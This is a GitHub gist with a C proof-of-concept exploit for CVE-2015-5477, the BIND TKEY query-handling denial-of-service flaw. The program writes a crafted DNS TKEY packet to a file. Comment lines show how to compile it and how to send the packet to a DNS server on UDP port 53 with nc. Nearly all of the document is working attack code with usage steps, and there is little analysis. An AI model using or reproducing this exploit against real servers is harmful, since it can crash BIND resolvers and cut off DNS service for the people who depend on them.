Skip to content

Instantly share code, notes, and snippets.

@sipherr
Created August 4, 2015 12:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sipherr/eeaf54fe4346d9a9669b to your computer and use it in GitHub Desktop.
Save sipherr/eeaf54fe4346d9a9669b to your computer and use it in GitHub Desktop.
CVE-2015-5477 - bind TKEY query handling DoS Proof of concept
// CVE-2015-5477 - bind TKEY query handling DoS Proof of concept
// (sipher@utensil)(~/tkeyd)$ rm dns.txt
// (sipher@utensil)(~/tkeyd)$ gcc tkeyd.c -o tkeyd
// (sipher@utensil)(~/tkeyd)$ ./tkeyd
// (sipher@utensil)(~/tkeyd)$ nc -u 127.0.0.1 53 < dns.txt
#include <stdio.h>
int main() {
FILE *fp;
fp=fopen("dns.txt", "w+");
fprintf(fp,"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",0x2d,0xbc,0x01,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x01,0x06,0x67,0x6f,0x6f,0x67,0x6c,0x65,0x03,0x63,0x6f,0x6d,0x00,0x00,0xf9,0x00,0x01,0x06,0x67,0x6f,0x6f,0x67,0x6c,0x65,0x03,0x63,0x6f,0x6d,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x06,0x67,0x6f,0x6f,0x67,0x6c,0x65,0x03,0x63,0x6f,0x6d,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00);
fclose(fp);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment